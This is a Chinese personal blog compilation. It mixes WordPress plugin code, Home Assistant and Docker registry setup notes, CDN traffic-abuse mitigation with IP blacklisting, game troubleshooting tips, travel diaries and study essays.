DATETIME DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (id), UNIQUE KEY url (url) ) $charset_collate;"; // 如果表不存在,则创建表 require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta($sql); } // 插件激活时创建数据表 register_activation_hook(__FILE__, 'custom_card_create_db_table'); // 注册短代码 [custom_card] function custom_card_shortcode($atts) { // 获取 URL 参数 $atts = shortcode_atts(array( 'url' => '', // 默认情况下,url 为空 ), $atts, 'custom_card'); // 确保 URL 不为空 if (empty($atts['url'])) { return '

请输入有效的 URL。

'; } // 调用函数从 URL 获取数据并生成 HTML 卡片 return custom_card_fetch_data($atts['url']); } add_shortcode('custom_card', 'custom_card_shortcode'); // 获取网页数据并生成卡片,带缓存机制 function custom_card_fetch_data($url) { global $wpdb; $table_name = $wpdb->prefix . 'custom_card_cache'; // 检查数据库中是否已经缓存了该 URL 的数据 $cached_data = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $table_name WHERE url = %s ORDER BY cache_time DESC LIMIT 1", $url) ); // 如果有缓存数据,且缓存未过期(例如 1 天内缓存有效) if ($cached_data && (strtotime($cached_data->cache_time) > strtotime('-1 day'))) { // 返回缓存的数据 return custom_card_generate_html($cached_data->title, $cached_data->description, $cached_data->image, $url); } // 如果没有缓存数据,或缓存已过期,则抓取新的网页数据 $response = wp_remote_get($url); if (is_wp_error($response)) { return '

无法获取内容,请检查 URL 是否有效。

'; } // 获取网页的 body 内容 $body = wp_remote_retrieve_body($response); // 从网页中提取所需的内容 $title = custom_card_extract_title($body); $description = custom_card_extract_description($body); $image = custom_card_extract_image($body); // 如果没有提取到标题或描述,则返回错误信息 if (empty($title) || empty($description)) { return '

未能正确提取网页内容。

'; } // 将抓取的数据插入到数据库中(或更新缓存) $wpdb->replace( $table_name, array( 'url' => $url, 'title' => $title, 'description' => $description, 'image' => $image, 'cache_time' => current_time('mysql'), ), array('%s', '%s', '%s', '%s', '%s') // 参数格式 ); // 生成并返回卡片 HTML return custom_card_generate_html($title, $description, $image, $url); } // 提取网页的标题 function custom_card_extract_title($html) { preg_match('/(.*?)<\/title>/', $html, $matches); return $matches[1] ?? ''; // 如果没有找到标题,则返回空字符串 } // 提取网页的描述(通常为 meta 标签中的内容) function custom_card_extract_description($html) { preg_match('/<meta name="description" content="(.*?)"/', $html, $matches); return $matches[1] ?? ''; // 如果没有找到描述,则返回空字符串 } // 提取网页的图片(通常为 og:image 标签中的内容) function custom_card_extract_image($html) { preg_match('/<meta property="og:image" content="(.*?)"/', $html, $matches); return $matches[1] ?? ''; // 如果没有找到图片,则返回空字符串 } // 生成卡片的 HTML 代码 function custom_card_generate_html($title, $description, $image, $url) { $card_html = '<div class="custom-card">'; // 图片部分 if ($image) { $card_html .= '<img src="' . esc_url($image) . '" alt="' . esc_attr($title) . '" class="custom-card-image">'; } // 内容部分 $card_html .= '<div class="custom-card-content">'; $card_html .= '<h3 class="custom-card-title">' . esc_html($title) . '</h3>'; $card_html .= '<p class="custom-card-description">' . esc_html($description) . '</p>'; $card_html .= '<a href="' . esc_url($url) . '" target="_blank" class="custom-card-link">查看详情</a>'; $card_html .= '</div></div>'; return $card_html; } // 加载插件样式 function custom_card_enqueue_styles() { wp_enqueue_style('custom-card-style', plugin_dir_url(__FILE__) . 'style.css'); } add_action('wp_enqueue_scripts', 'custom_card_enqueue_styles'); // 加载插件脚本 function custom_card_enqueue_scripts() { wp_enqueue_script('custom-card-script', plugin_dir_url(__FILE__) . 'script.js', array('jquery'), '1.0', true); } add_action('wp_enqueue_scripts', 'custom_card_enqueue_scripts'); script.js代码 document.addEventListener('DOMContentLoaded', function () {// 获取所有的卡片元素const cards = document.querySelectorAll('.custom-card'); // 遍历每个卡片并添加点击事件 cards.forEach(card => { card.addEventListener('click', function () { // 当点击卡片时,打开卡片链接 const link = this.querySelector('a.custom-card-link'); if (link) { window.open(link.href, '_blank'); } }); }); // 懒加载图片 const lazyImages = document.querySelectorAll('.custom-card-image[data-src]'); const imageObserver = new IntersectionObserver((entries, observer) => { entries.forEach(entry => { if (entry.isIntersecting) { const image = entry.target; image.src = image.dataset.src; image.removeAttribute('data-src'); // 移除 data-src 属性,避免重复加载 observer.unobserve(image); // 停止观察 } }); }, { threshold: 0.1 // 当图片进入视窗的 10% 时开始加载 }); lazyImages.forEach(image => { imageObserver.observe(image); }); }); script.css代码 /* 卡片容器样式 */ .custom-card { display: flex; border: 1px solid #ddd; border-radius: 8px; overflow: hidden; margin: 20px 0; background-color: #fff; transition: transform 0.3s ease-in-out; } /* 图片样式 */ .custom-card-image { width: 100%; height: 100%; object-fit: cover; margin-right: 15px; } /* 内容部分样式 */ .custom-card-content { padding: 10px; flex: 1; } .custom-card-title { font-size: 18px; font-weight: bold; margin-bottom: 10px; } .custom-card-description { font-size: 14px; color: #555; } .custom-card-link { display: inline-block; margin-top: 10px; color: #0073aa; text-decoration: none; } .custom-card-link:hover { text-decoration: underline; } /* 卡片悬浮效果 */ .custom-card:hover { transform: translateY(-5px); } ### 解决小米路由器和TL-R488GPM-AC共用,有线mesh组网断网问题 弱电箱TP_Link 路由器 的IP地址是192.168.1.1; 小米路由器的TP地址是:192.168.31.1; 如果一起使用的话,小米路由器有线组网mesh 会断开;导致网络不可用; 解决方法是: 把弱电箱的TP_Link 路由器的192.168.1.1改成小米路由器没有使用的IP,比如192.168.1.2;然后关闭TP_Link的DHCP服务; ### 个人微信小程序年审,居然要收费30元/年? 第一次才知道个人微信小程序居然要年审,居然还有收费30元/年?! 腾讯吃相真的太难看了吧; ### Home Assistant 外网域名访问配置教程 Home Assistant 版本: 前几天部署了Home Assistant 和XiaoMi Home,是通过IP加端口访问;然后本地部署了nginx ui,反向代理Home Assistant 发现会报错(400:Bad Request),Baidu和Bing了好几篇文章,发现都不行; 要修改的配置文件:configuration.yaml 像什么加下面的错误配置,会导致Home Assistant 进入维护模式 http: use_x_forwarded_for: true trusted_proxies: - 127.0.0.1 正确的配置应该是下面的配置;IP是Home Assistant 部署的服务器IP,本地域名和外网域名访问,一般填写127.0.0.1; http: use_x_forwarded_for: true trusted_proxies: IP 完整配置 # Loads default set of integrations. Do not remove. default_config: # Load frontend themes from the themes folder frontend: themes: !include_dir_merge_named themes automation: !include automations.yaml script: !include scripts.yaml scene: !include scenes.yaml http: use_x_forwarded_for: true trusted_proxies: 192.168.31.198 家里局域网用域名可以访问,但是frp到公网不行,拒绝访问; ### 1panel 安装 会导致之前的docker服务消失 💢💢💢想用1panel的OpenResty作为本地的nginx代理; 💢💢💢然后安装了1panel后,发现之前的dockers 服务都没了;原因是1panel修改了docker的/etc/docker/daemon.json里的配置,还好之前写了脚本能恢复; ### Home assistant 安装XiaoMi Home 安装xiaomi Home XiaoMi Home github 地址: G github.com Home assistant 安装XiaoMi Home 的命令行: cd config git clone https://github.com/XiaoMi/ha_xiaomi_home.git cd ha_xiaomi_home ./install.sh /config 说明:/config 是Home assistant 目录下的config文件夹;不然会直接报错;或者在home assistant 搜不到xiaomi home # 错误信息 /config does not exist 添加xiaomi home 设置 👉 设备与服务 👉 添加集成 👉 搜索“Xiaomi Home” 👉 下一步 👉 请点击此处进行登录 👉 使用小米账号登录 登录小米账号 登录小米账号时会有无法访问此网站,解决方法是下面的2个网址; G github.com G github.com ### 解决Wordpress使用阿里云OSS图片存在翻转问题 ❌Wordpress 上传某些图片会存在翻转问题; ✅解决方法是在Wordpress主题文件根目录functions.php 添加一段代码解决,解决上传图片后,文章会显示90°翻转问题;代码只对图片生效,其他文件格式不会添加(?x-oss-process=image/auto-orient,1); ❗代码 function add_suffix_to_image_url( $url, $post_id ) { // 获取文件的 MIME 类型 $mime_type = get_post_mime_type( $post_id ); // 判断是否为图片类型 if ( strpos( $mime_type, 'image/' ) === 0 ) { $oss_suffix = '?x-oss-process=image/auto-orient,1'; $url .= $oss_suffix; } return $url; } add_filter( 'wp_get_attachment_url', 'add_suffix_to_image_url', 10, 2 ); 📍工作原理: get_post_mime_type(): 通过附件 ID 获取文件的 MIME 类型,比如 image/jpeg 或 image/png。 判断是否为图片: 使用 strpos() 检查 MIME 类型是否以 image/ 开头,仅对图片文件生效。 添加后缀: 如果是图片,自动添加 ?x-oss-process=image/auto-orient,1。 📍效果: 上传的图片 URL 会自动附加后缀。 其他文件类型(如 PDF、ZIP、MP3 等)不会受到影响。 ### 解决微慕微信小程序二维码在文章中显示不居中的问题 原始效果 二维码显示过小,而且不是局中,是靠左对齐;上方字体也是过小,字体没加粗; 解决方法 修改微慕小程序代码 外观自定义添加额外css 修改微慕微信小程序代码和在主题自定义加入css; ✅添加自定义css: 路径:wordprss后台👉外观👉自定义👉额外css p img { display: inline-block; text-align: center; } ✅修改微慕小程序代码 # 代码文件路径:/www/wwwroot/www.saiita.com.cn/wp-content/plugins/rest-api-to-miniprogram/includes/filter/ram-custom-content.php # 在代码52行,style中添加代码:color: red; font-weight: bold; $_content .= "<br /><hr style='width:100%;text-align:left;margin-left:2'><div style='width:100%,margin-top:20px;text-align:center;color: red; font-weight: bold;'>" . $message . $qrcode . "</div>"; ✅完整代码 <?php //解析腾讯视频,只支持一个腾讯视频 function custocm_content_filter($content) { $_content = $content; if (is_single()) { $vcontent = get_post_qq_video($content); if (!empty($vcontent)) { $_content = $vcontent; } } $postId = get_the_ID(); $excitationAd = empty(get_post_meta($postId, '_excitation', true)) ? "0" : get_post_meta($postId, '_excitation', true); $post = get_post($postId); $minapper_qrcode_url = empty(get_option('wf_minapper_qrcode_url')) ? '' : get_option('wf_minapper_qrcode_url'); $display_qrcode = empty(get_option('wf_detail_bottom_display_qrcode')) ? '0' : get_option('wf_detail_bottom_display_qrcode'); $excerpt = empty($post->post_excerpt) ? "" : $post->post_excerpt; if (strlen($excerpt) < 1 && strlen($_content) > 0) { $excerpt = ram_rewrite_content($_content, 500); } $message=''; if (is_single()) { $message = '微信扫描下方的二维码阅读本文<br/><br/>'; if ($excitationAd == '1') { $message = '微信扫描下方的二维码阅读全文<br/><br/>'; $_content = $excerpt; } if($display_qrcode == '1') { $qrcode=creat_minapper_qrcode($postId); $qrcode=$qrcode['qrcodeUrl']; $qrcode = "<p><img width='200' src='" .$qrcode. "' ></p>"; $_content .= "<hr style='width:100%;text-align:left;margin-left:2'><div style='width:100%,margin-top:20px;text-align:center;color: red; font-weight: bold;'><br/><br/>" . $message . $qrcode . "</div>"; } else { if ($excitationAd == '1') { $message = '微信扫描下方的二维码阅读本文<br/><br/>'; $qrcode = "<p><img width='150' src='" . $minapper_qrcode_url . "' ></p>"; $_content .= "<br /><hr style='width:100%;text-align:left;margin-left:2'><div style='width:100%,margin-top:20px;text-align:center;color: red; font-weight: bold;'>" . $message . $qrcode . "</div>"; } } } return $_content; } ### 红警3 日冕设置全屏 ❗日冕游戏内显示器分辨率是2560*1140。我的显示器是3440*1440; 💢玩游戏的时候,不是全屏;不过可以在日冕启动客户端设置全屏; ✅设置方法: ✅启动日冕客户端👉设置👉设置👉游戏👉窗口化设置👉使用自定义分辨率; ### 解决微慕小程序版本更新后和WPJAM文章浏览量统计不一致问题 ❌ 原先直接是部署安装微慕小程序插件,发现微信小程序和网页版博客文章浏览量不一致,原因是微信小程序文章(wl_pageviews)和网页版博客文章(views)浏览量不是统一的文章浏览字段。 ✅之后找了微慕微信小程序开发人员,帮忙修改了微慕小程序插件代码,解决了当时浏览量统计问题; ❗也只是解决了文章浏览量的问题,点赞不一致问题没解决(不知道微信小程序点赞字段和博客点赞字段),微慕开发也不太愿意帮忙修改了;文章浏览量修改的代码也不愿意告诉我; 💥随着时间推移,微慕小程序有版本更新(4.6.9→4.7.1);因为开发不告诉文章浏览量修改的代码是那些,所以很久没更新微慕小程序插件的版本; ✅ 所以今天特意花了半个小时查看插件源代码,解决了新版本插件浏览量更新的问题; 下面就是怎么更新微慕小程序文章浏览量统计代码方法; 📍 博客网站使用的是WPJAM + Autmn Pro(主题)+ 微慕小程序; 注释掉代码行数 小程序插件根目录,rest-api-to-miniprogram.php ,注释掉78行的代码 //更新浏览次数(pc) //add_action('wp_head', 'addPostPageviews'); 替换微慕小程序文章浏览量字段 登录服务器终端,执行下面的代码 cd /www/wwwroot/www.saiita.com.cn/wp-content/plugins/rest-api-to-miniprogram sed -i 's/wl_pageviews/views/g' includes/ram-util.php sed -i 's/wl_pageviews/views/g' includes/api/ram-rest-posts-controller.php sed -i 's/wl_pageviews/views/g' includes/api/ram-wp-rest-posts-controller.php sed -i 's/wl_pageviews/views/g' includes/filter/ram-custom-post-fields.php 新增统计浏览量代码文件 在/rest-api-to-miniprogram/includes目录下面新增ram-views-api.php文件,并添加代码 <?php // includes/ram-views-api.php class RAM_Weixin_API { private $cache_key_prefix = 'ram_post_views_'; // 获取浏览量的方法 public function get_views($post_id) { $cache_key = $this->cache_key_prefix . $post_id; $views = wp_cache_get($cache_key, 'views'); if ($views === false) { $views = (int) get_post_meta($post_id, 'post_views', true); wp_cache_set($cache_key, $views, 'views', 3600); // 缓存1小时 } return $views; } // 增加浏览量的方法 public function increment_views($post_id) { $cache_key = $this->cache_key_prefix . $post_id; $views = $this->get_views($post_id); $views++; wp_cache_set($cache_key, $views, 'views', 3600); // 更新缓存 // 延迟更新数据库,每10次更新一次 if ($views % 10 === 0) { update_post_meta($post_id, 'post_views', $views); } return $views; } } ### 群晖224+ 如何快速添加安装8G内存条!!! 群晖224+ 跟好几年前的群晖218+ 安装位置和方法一致; 添加内存条是因为要解决群晖因短时间内大量上传图片和视频时要大量索引,导致群晖后台卡顿问题;平时上传使用并不会有这个问题; 内存条规格:三星笔记本内存条DDR4 2666 8G 可以在淘宝上购买,并不需要在群晖官网购买专用内存条,而且淘宝上的笔记本内存条便宜,88.9元一条,群晖同规格内存条一条1330元,贵的离谱,也不存在兼容性问题(官方还说只能支持共6G内存条),非专业的笔记本内存条也可以正常使用; 听说可以加16G的内存条? 安装方法可以查看下面的文章; ### 杭州👉舟山一日周末游 2024年11月03日;跟着老婆到舟山一日游,看见了沙滩和大海; 路线:杭州👉宁波👉舟山群岛; ### 阿里云 CDN 不支持单独 IPv6?深度解析与解决方法? 随着 IPv6 的逐渐普及,许多企业和开发者在部署 CDN(内容分发网络)时会优先考虑支持 IPv6。IPv6 不仅能提供更大的地址空间,还能提升网络性能。但使用阿里云 CDN 时,许多用户发现它并不支持单独的 IPv6 配置,这给部分应用场景带来了不小的困扰。 1. 为什么单独支持 IPv6 很重要? IPv6 的需求逐年增加,特别是在以下场景中: 新兴市场用户:某些地区(如印度、中国部分城市)对 IPv6 有更好的网络支持,而 IPv4 访问可能不稳定。 移动端优化:移动设备和 5G 网络对 IPv6 的兼容性更强,使用 IPv6 能显著提升用户体验。 IoT(物联网)场景:大量设备需要独立的 IP 地址,而 IPv6 能轻松满足需求。 但目前,阿里云 CDN 的 IPv6 支持是 通过 IPv4 和 IPv6 双栈实现的,并不支持单独配置 IPv6(即仅通过 IPv6 提供访问)。这在特定需求下(如仅 IPv6 网络)会限制使用。 2. 阿里云 CDN 为什么不支持单独 IPv6? 阿里云 CDN 的设计是为了兼容更广泛的应用场景,而单独支持 IPv6 可能会带来以下挑战: 技术实现复杂性:双栈方式已经能覆盖大部分需求,单独 IPv6 的使用场景相对较少,因此未优先开发。 兼容性问题:部分旧设备和网络对 IPv6 的支持不足,单独 IPv6 会导致部分用户无法正常访问。 市场需求较小:目前大部分企业的需求仍以 IPv4 为主,完全转向 IPv6 的成本较高。 3. 阿里云 CDN 不支持单独 IPv6的影响 访问受限:在仅支持 IPv6 的网络环境下(如某些高校或政府机构网络),用户可能无法访问你的内容。 性能损失:对于优先使用 IPv6 的网络,强制回退到 IPv4 可能会导致访问延迟增加。 竞争劣势:一些国际化业务需要面对更复杂的网络环境,阿里云 CDN 的限制可能影响服务质量。 4. 如何应对阿里云 CDN 的 IPv6 限制? 虽然阿里云 CDN 暂不支持单独 IPv6,但我们可以通过以下方法进行优化: (1) 开启双栈支持 阿里云 CDN 默认支持 IPv4/IPv6 双栈,可以在控制台中开启 IPv6 功能: 登录 阿里云 CDN 控制台。 找到需要配置的域名,进入“基本设置”。 在“IPv6 设置”中启用双栈模式。 优点:双栈兼容绝大多数网络环境,简单易用。 缺点:无法满足纯 IPv6 网络的需求。 (2) 使用支持 IPv6 的第三方 CDN 服务 如果业务场景对单独 IPv6 支持有强烈需求,可以考虑其他支持独立 IPv6 的 CDN 服务,例如: Cloudflare CDN:全球分布广泛,完全支持 IPv6。 AWS CloudFront:亚马逊云的 CDN 服务,支持 IPv6 配置。 提示:结合第三方服务时,需要重新配置 DNS,可能会增加成本。 (3) 在后端服务器实现 IPv6 支持 通过调整后端服务器配置,在需要 IPv6 访问的场景下绕过 CDN: 配置 Nginx 支持 IPv6:nginx复制代码 server { listen [::]:80 ipv6only=on; server_name example.com; ... } 使用 DNS 的 AAAA 记录直接解析到后端 IPv6 地址。 IPv6 地址分配:VPC 和弹性公网 IP 的 IPv6 支持。 负载均衡 IPv6 支持:阿里云 SLB 已支持 IPv6 转发。 未来,阿里云 CDN 可能会逐步升级 IPv6 功能,以满足更多用户的需求。你可以定期关注阿里云的官方公告或技术文档,了解最新进展。 ### 🚗 杭州 Jeep 4S店 电话和地址 地址:杭州市石祥路471号 电话:0571-86013030 2024年12月1日,Jeep 4S店新地址 西湖区古墩路1001号(新时代家具广场对面) 联系方式:0571-86013030 ### 华为外包换工号 这个月换工号,由cwx开头换为c600开头; 现在好像跟od工号差不多; 也不知道换邮箱地址,换工号干啥; ### 九号机械师RS2后减震器更换弹簧 原因:后减震器是比博士RS2;弹簧过软,单人过坑会压到低; 带人也是经常压到底;时间长了减震器应该会漏油;所以到淘宝买了2根弹簧更换; 弹簧规格: 比博士RS2原装规格:长160,80磅; 淘宝买的弹簧规格是:7.0 160 150磅; 效果:比RS2原装弹簧硬的多,但是比mmax 110p要好点; 后面应该不会直接打底了; 下午跟着老婆一起换的弹簧; 行驶了一段时间发现,还是有一点点弹簧压到底,应该是减震器行程有点短; ### 我们结婚啦❗❗❗ ### 【支付宝】扫码领红包 用支付宝扫码 天天有优惠 ### 我们结婚啦!💒 ### 四岭水库-同安寺 今天下午我们开车去了同安寺和四岭水库。同安寺在水库边上的山顶上,可以看部分水库全景,还可以走林间小道; 从同安寺下来,沿着水库路开,发现一块草地,有人露营;环境非常好,还可以划船;竹筏应该是本地人搭建的; 金毛 ### 杭州车辆第一次年检 这个月刷抖音,发现有车辆年检团购。下个月25号就是车辆6年免检到期;所有就在抖音上下单,269元; 周六到达车辆免检的地方,跟我想象的不太一样;以为是流程很复杂,其实很简单,把车开进等待的地方,钥匙放在车上,抖音下单的要在浙里办预约年检,扫抖音核销二维码,最后上交行驶证就可以了; 剩下就是等待车辆年检,把车开走;等待过程不长; 车辆年检方式应该有两种,就是抖音下单会便宜40元: 抖音下单年检团购,然后浙里办预约车辆年检 浙里办预约车辆年检 ### WordPress文章图片换灯箱(无效)笔记 第一步和第二部的js,css文件,wordpress 都有https://lib.baomitu.com/fancybox/3.5.7/jquery.fancybox.min.css?ver=6.6.2https://lib.baomitu.com/fancybox/3.5.7/jquery.fancybox.min.js?ver=6.6.2 footer.php 和 header.php 可以不用添加script、link 图片幻灯箱失效原因,应该是functions.php的add_filter方法 下面的方法已失效 footer.php <!--图片灯箱效果--> <script src=" https://lib.baomitu.com/fancybox/3.5.7/jquery.fancybox.min.js?ver=6.6.2"></script> header.php <!--图片灯箱效果--> <link rel="stylesheet" href=" https://lib.baomitu.com/fancybox/3.5.7/jquery.fancybox.min.css?ver=6.6.2" /> functions.php //图片灯箱效果 add_filter('the_content', 'fancybox'); function fancybox($content){ $pattern = array("/<img(.*?)src=('|\")([^>]*).(bmp|gif|jpeg|jpg|png|swf)('|\")(.*?)>/i","/<a(.*?)href=('|\")([^>]*).(bmp|gif|jpeg|jpg|png|swf)('|\")(.*?)>(.*?)<\/a>/i"); $replacement = array('<a$1href=$2$3.$4$5 data-fancybox="gallery"><img$1src=$2$3.$4$5$6></a>','<a$1href=$2$3.$4$5 data-fancybox="images"></a>'); $content = preg_replace($pattern, $replacement, $content); return $content; } ### 二十届三中全会学习心得 党的二十届三中全会提出了建设美丽中国和推动经济社会全面绿色转型的重要任务。这一理念不仅对国家发展具有深远意义,也与我们的工作和日常生活紧密相连。作为一名普通的软件测试工程师,我认识到,绿色发展不止是政策层面的要求,更是我们每个人都应当践行的责任。 在我的工作中,我可以从实际出发,减少资源浪费和环境负担。例如,在测试过程中,合理安排测试任务,优化测试流程,减少不必要的重复测试,从而提高工作效率,节约时间和资源。通过这些细节上的改进,我们可以在不知不觉中减少能源消耗,为绿色低碳发展做出贡献。 在生活中,我同样注重践行绿色环保的理念。平时坚持绿色出行,选择步行、骑行或公共交通工具,减少碳排放。同时,我注重节约用电、用水,减少塑料制品的使用,进行垃圾分类处理。这些看似简单的日常习惯,实际上都是在为生态环境保护做贡献。 总之,绿色发展是一项全民参与的长期事业,需要我们每个人从点滴做起。作为新时代的工作者,我将继续在工作和生活中积极践行绿色发展理念,为建设美丽中国贡献自己的绵薄之力。 ### 黑悟空-Steam退款 💢💢💢 不折腾了,游戏优化不好,浪费时间找解决方法! 💢💢💢 Steam 第一个退款的3A游戏! 2024-8-29 昨天又重新买了黑悟空。 然后今天-30日找到了闪退的原因-可能是电源不够导致的闪退 ### 黑悟空-解决游戏闪退问题 💥💥💥 启动游戏着色器编译和新游戏过程动漫无限闪退,这要是国外3A大作,不给早骂死了! 💥💥💥 游戏测试也不知道是怎么通过的,问题这么多,就游戏发布了。 ✅ 电脑配置 华硕 ROG STRIX Z490-A GAMING吹雪主板 NOCTUA NH-U12A CPU散热器  英特尔(Intel)10代 酷睿 i7-10700K 美商海盗船(USCORSAIR)32GB(4×8G)套装 七彩虹(Colorful)iGame GeForce RTX 3070 Ultra OC 8G 1725-1770Mhz ✅ 目前已经解决着色器编译闪退和out of video memory问题! 目前已经解决着色器编译闪退和进入游戏后报错out of video memory问题 解决方法(下面步骤都操作一次): win+r输入regedit 打开注册表,选择HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography 将MachineGuid的值右键修改 改为d1eb146e-6243-4460-a88e-5d4e52b1ef6b 更新显卡驱动 系统-显卡图像-启用硬件加速 进入游戏后关闭画质-帧生成 Windows 10 ,电源改为平衡(之前百度说是改为节能模式,原因是13代,14代CPU超频问题导致) ✅✅✅解决游戏闪退问题 进入游戏,过场动漫无限闪退! 更换了1080P的显示器,还是无限闪退! 最后一个可能就是电源问题,把主机的一台ITX主板关机。只打开主电脑,游戏就不闪退了。 然后在把服务器和主电脑重新接上电源,就能正常玩了。应该是什么设置没设置对。 1200W的电源不应该打不开。 ### Docker-registry+Docker-registry UI 自动拉取镜像到Docker-registry 💥 原因: 最近docker 镜像貌似都拉取不了了,用其他镜像源又网速慢。 所有自己搭建私有docker镜像源,然后自己拉取,自己更新 ✅ 搭建私用dockers镜像,并自动更新最新镜像到Docker-registry。 ✅ 自动更新最新镜像到Docker-registry脚本。 ✅ 使用方法: 在脚本跟目录创建image_list.txt,并把镜像名称写入 更新镜像脚本填入REGISTRY_URL,USERNAME,PASSWORD 执行更新docker 最新镜像,并同步到私用镜像服务(Docker-registry) #!/bin/bash # 设置变量 REGISTRY_URL="docker.xxxx.cn" IMAGE_LIST="image_list.txt" # 替换为私有镜像仓库用户名 USERNAME="替换为私有镜像仓库用户名" # 替换为私有镜像仓库密码或访问令牌 PASSWORD="替换为私有镜像仓库密码或访问令牌" # 检查镜像列表文件是否存在 if [ ! -f "$IMAGE_LIST" ]; then echo e "\e[1;31m[ERROR]\e[0m 镜像列表文件不存在:$IMAGE_LIST" exit 1 fi # 函数:获取镜像版本号 get_image_version() { local image="$1" # 使用docker inspect获取镜像版本号 docker image inspect --format='{{index .RepoDigests 0}}' "$image" | cut -d '@' -f 2 } # 创建本地镜像的镜像标签 while IFS= read -r image; do # 检查是否为空行或注释行 if [[ -z "$image" || "$image" =~ ^# ]]; then continue fi # 精确查询本地是否存在该镜像并且版本是最新的 if docker images --format '{{.Repository}}:{{.Tag}}' | grep -q "^$image\$"; then echo -e "\e[1;33m[WARNING]\e[0m 本地已存在最新版本的镜像:$image" else # 拉取最新版本的镜像 echo -e "\e[1;32m[INFO]\e[0m 拉取最新版本的镜像:$image" docker pull "$image" fi done < "$IMAGE_LIST" # 登录私有镜像仓库 echo "登录私有镜像仓库:$REGISTRY_URL" docker login -u "$USERNAME" -p "$PASSWORD" "$REGISTRY_URL" # 推送镜像到私有镜像仓库 while IFS= read -r image; do # 检查是否为空行或注释行 if [[ -z "$image" || "$image" =~ ^# ]]; then continue fi private_image="$REGISTRY_URL/$image" # 创建镜像标签并输出 docker tag "$image" "$private_image" echo -e "\e[1;32m[INFO]\e[0m 创建镜像标签:$private_image" # 推送镜像到私有镜像仓库 echo -e "\e[1;32m[INFO]\e[0m 推送镜像到私有镜像仓库:$private_image" docker push "$private_image" # 检查推送结果 if [ $? -eq 0 ]; then echo -e "\e[1;32m[INFO]\e[0m 镜像推送成功:$private_image" else echo -e "\e[1;31m[ERROR]\e[0m 镜像推送失败:$private_image" continue fi # 删除本地镜像标签 docker rmi "$private_image" done < "$IMAGE_LIST" # 脚本执行完毕,删除本地创建的镜像标签 echo -e "\e[1;31m[警告]\e[0m 脚本执行完毕,删除本地创建的镜像标签。" docker logout "$REGISTRY_URL" ### 诸暨夏季两日游 一、诸暨两日游 🧁 五泄奇幻漂流 🧁 西施故里 🧁 中国历代名媛馆 🧁 葡萄果园 二、五泄奇幻漂流 这周末带着老婆,一起去了诸暨两日游。 早上10点半就到了诸暨,下午1点到达五泄漂流。漂流起点位置水质干净,水也很冷,穿戴好安全帽和救生衣,随手抢了个干净的漂流艇。 漂流过程中颠荡起伏,漂流艇360°无死角旋转漂流。 漂流缺点: ❌ 漂流三分之一水质干净,三分之二漂流水质越来越差,有臭味 ❌ 漂流给了1个桨,还是坏的 三、西施故里、中国历代名媛馆、葡萄果园 早上在饭店吃早餐 第二天早上参观了西施故里入口的中国历代名媛馆,主要是介绍了中国历代名媛,中国毛笔等。 内容单一,体验不是很好。 参观完中国历代名媛馆,跟着大巴吃了午饭。 下午就参加了葡萄园,自己采摘葡萄。 ### 最近大量网站被刷CDN流量?如何防范? 💥 今天在群里发现说是CDN流量被刷了。 💥 我就打开阿里云DCN,一看,天哪,我也被刷了。昨天,今天CDN流量异常,昨天30多个G,今天56.33G。听说是山西那边的。不知道是什么组织还是个人在到处刷CDN 💥 所以要设置下CDN黑名单 💥 设置CDN的路径: 💥 阿里云控制台→CDN→域名管理→访问控制→IP黑/白名单→修改配置 ✅ 添加下面的IP网段 221.205.169.0/24 221.205.168.0/24 221.205.164.0/24 2024-07-10 又被刷了6.9个G。新增IP: 36.35.38.0/24 还是把CDN关,算了。 CDN设置防盗链 添加黑名单 查看CDN离线日志,屏蔽访问高的IP 设置UA ✅ 设置OSS和CDN防盗链,网站限制访问流量(1个IP,每秒限制20) 关OSS和CDN ❗ 阿里云CDN日志分析 【分析方法】:1、下载离线日志或配置实时日志SLS,进行分析Top信息(Top IP、Top URL、Top UA、TOP referer等)。如:awk分析某目录下离线日志Top100的IP地址, cat xx/* | awk '{count[$3]++} END{for (val in count) print val, count[val]}' | sort -k2,2nr | head -n 100 awk 分析某目录下离线日志Top100的url地址, cat xx/* | awk '{count[$8]++} END{for (val in count) print val, count[val]}' | sort -k2,2nr | head -n 100 离线日志参考: 实时日志参考: 2、通过运营报表功能分析TOP域名、referer、url、客户端IP等(注意运营报表只能分析开启报表后的访问行为) 【防护建议】:1、可以通过访问控制的功能(IP黑白名单、Refer防盗链、鉴权URL等)进行拦截,命中规则触发则返回403,详见: 2、带宽封顶设置,通过设置带宽上限,来控制带宽用量。当指定加速域名在统计周期(1分钟)内产生的平均带宽超出预设上限,CDN将停止为该域名提供加速服务。风险提醒:带宽封顶的功能是触发带宽上限后,会触发域名下线(即无法访问)。因此设置带宽封顶带宽值时,可根据日常业务峰值预留适当带宽空间。 带宽封顶设置参考下: 3、建议您将域名迁移至DCDN产品,并开通DCDN-WAF进行防护哈,DCDN-WAF可以配置频次控制和Bot防护,有效拦截恶意请求,避免大额异常流量费用产生。详见: 关于CDN出现流量被恶意盗刷的风险警示和应对办法,具体您参考下: ### 学习《中国共产党纪律处分条例》 个人心得。 习近平总书记的讲话深刻反映了党和国家对维护人民群众合法权益的坚定决心和态度,作为一名党员,我深感振奋和鼓舞。这不仅体现了党对群众利益的高度重视,更让我看到了国家法治建设的进步和对公平正义的追求。 作为党员,我们肩负着更为重要的责任和使命。总书记强调对侵犯群众合法权利的行为、对群众权益问题漠然置之的现象必须依法依规严肃查处、坚决追责,这为我们明确了方向和行动准则。无论是在工作中还是生活中,我们都应以身作则,率先垂范,始终把群众的利益放在首位,真正做到权为民所用、情为民所系、利为民所谋。 在实际工作中,有时会遇到一些侵害群众权益的问题,比如行政过程中不公正的待遇、服务不到位等。过去,这些问题可能得不到及时有效的解决,甚至被忽视。然而,习近平总书记的讲话给我们敲响了警钟,也为我们指明了方向。我们要主动发现问题、解决问题,绝不能对群众的呼声充耳不闻,更不能漠视群众的合法权益。 作为党员,维护群众的合法权益不仅是我们的职责,更是我们的使命。我们要深入群众、了解群众的真实需求,倾听他们的声音,及时回应他们的关切。面对侵权行为,我们要勇于站出来,依法依规处理,坚决维护群众的合法权益。 习近平总书记的讲话不仅是对相关问题的严肃表态,更是对全体党员的动员和号召。我们每个党员都应从中汲取力量,始终保持为民服务的初心,坚守公平正义的底线,真正做到不忘初心、牢记使命,为建设一个更加美好的法治社会贡献自己的力量。 ### 余杭五常中学-花海 🎨 位于五常中学东门,街边有停车场,人不多。收费3元1个小时。 🎨 靠近绕城高速边上。 🌾 